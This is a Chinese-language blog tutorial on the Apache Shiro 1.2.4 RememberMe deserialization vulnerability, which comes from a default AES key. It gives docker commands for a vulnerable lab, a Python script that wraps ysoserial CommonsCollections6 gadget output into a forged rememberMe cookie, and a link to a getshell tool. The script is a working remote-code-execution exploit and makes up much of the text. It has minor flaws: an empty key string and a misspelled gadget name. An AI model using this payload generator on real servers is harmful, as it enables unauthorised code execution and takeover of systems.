1. 程式人生 > 其它 >Shiro1.2.4RememberMe反序列化漏洞

Shiro1.2.4RememberMe反序列化漏洞

Shiro1.2.4RememberMe反序列化漏洞

針對Shiro版本1.2.4以下有效,Shiro是一個java框架

漏洞原理

Apache Shiro 有記住密碼的功能,在登入成功後會生成欄位setcookie

而這個cookie值是經過序列化---AES加密---base64編碼得到

而在Shiro<1.2.4檔案中可以找到預設的aes金鑰,導致可以偽造這個cookie,導致反序列化漏洞

環境搭建

直接採用docker搭建shiro環境

docker pull medicean/vulapps:s_shiro_1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
訪問127.0.0.1

登入時點選記住密碼,抓包後發到repeater

可以看到服務端setcookie中的rememberme欄位

生成payload指令碼

# -- coding: utf-8 --
import sys
import uuid  #匯入唯一標識庫
import base64
import subprocess
from Crypto.Cipher import AES  #匯入aes


def encode(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'CommonsCollects6', command], stdout=subprocess.PIPE)   #建立一個子程序,輸出到管道中
    bs = AES.block_size
    pad = lambda s: s + ((bs - len(s) % bs) * chr(bs - len(s) % bs)).encode()  #演算法
    key = base64.b64decode("")
    iv = uuid.uuid4().bytes  #生成初始向量
    encryptor  = AES.new(key,AES.MODE_CBC,iv)  #初始化aes
    file_body = pad(popen.stdout.read())    #從pipe中讀資料放入加密演算法
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode(sys.argv[1])   #獲取外部輸入的第一個引數
    print 'rememberMe={}'.format(payload.decode())

https://toscode.gitee.com/lmdy/ShiroExploit 【利用漏洞getshell工具】

https://www.xpshuai.cn/posts/40239/#toc-heading-10【參考連結】